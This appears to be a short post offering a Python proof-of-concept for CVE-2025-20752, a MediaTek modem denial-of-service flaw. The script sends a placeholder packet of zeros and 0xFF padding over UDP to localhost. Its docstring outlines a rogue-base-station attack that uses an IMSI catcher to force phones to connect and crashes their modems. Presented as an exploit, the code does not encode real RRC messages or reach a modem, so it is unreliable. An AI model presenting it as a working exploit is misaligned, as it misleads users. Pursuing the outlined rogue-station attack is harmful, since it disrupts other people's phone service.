CVE-2025-20752 MediaTek调制解调器边界检查缺失导致拒绝服务漏洞

# CVE-2025-20752 PoC - MediaTek Modem Denial of Service # This PoC demonstrates the concept of sending malformed data to trigger bounds check bypass # Note: This is for educational and authorized testing purposes only import struct import socket def create_malformed_packet(): """Generate a malformed packet that may trigger bounds check vulnerability""" # LTE/NR RRC message structure simulation packet = bytearray() # Protocol discriminator packet.extend([0x00, 0x00]) # Message type (e.g., SecurityModeCommand or Paging) packet.extend([0x00, 0x00, 0x00, 0x00]) # Malformed payload - oversized data without proper length field # This simulates the missing bounds check scenario oversized_data = b'\xFF' * 1024 # Excessive data packet.extend(oversized_data) # Add padding to potentially trigger buffer overflow packet.extend([0x00] * 256) return bytes(packet) def send_to_base_station(target_ip, port, packet): """Send malformed packet to simulate rogue base station attack""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(packet, (target_ip, port)) print(f"[+] Malformed packet sent to {target_ip}:{port}") print(f"[+] Packet size: {len(packet)} bytes") return True except Exception as e: print(f"[-] Error sending packet: {e}") return False finally: sock.close() def simulate_rogue_bs(): """ Simulate rogue base station behavior In real attack scenario: 1. Deploy IMSI catcher or rogue base station 2. Force UE to connect using strongest signal 3. Send malformed packets to trigger vulnerability 4. Cause modem crash/DoS """ print("[*] Simulating Rogue Base Station Attack") print("[*] Target: MediaTek Modem Firmware") print("[*] Vulnerability: Missing Bounds Check (CVE-2025-20752)") # Generate test packet packet = create_malformed_packet() # In real scenario, this would be broadcasted over air interface # For testing purposes, using local simulation target_ip = "127.0.0.1" port = 38454 send_to_base_station(target_ip, port, packet) if __name__ == "__main__": simulate_rogue_bs()